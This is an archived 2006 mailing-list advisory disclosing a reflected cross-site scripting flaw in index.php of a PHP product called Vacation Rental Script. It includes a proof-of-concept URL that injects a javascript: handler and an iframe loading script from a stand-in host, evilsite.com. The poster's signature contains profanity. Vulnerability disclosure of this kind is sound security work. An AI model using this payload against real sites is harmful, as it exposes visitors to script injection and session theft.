|
Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com |
Vacation Retal Script v1.0
luny
youfucktard.com
Date: Thu May 25 2006 - 04:25:43 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
Vacation Retal Script v1.0
Homepage:
http://www.vacationrentalscript.com/
Description:
Vacation Rentals is the best solution for your vacation rental online business. It’s easy to install, easy to use, provides lots of features and option details. Just check the online demo and convince yourself about how easy is to manage your business online.
Effected files:
index.php
XSS Vulnerabilities:
XSS attack possible from URL injection, proof of concept is below:
http://www.example.com/index.php?obj=<INPUT%20TYPE="IMAGE"%20SRC=javascript:alert('XSS');><iframe%20src=http://www.evilsite.com/code.js>
--------------------------------------------------
Luny - http://www.youfucktard.com
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]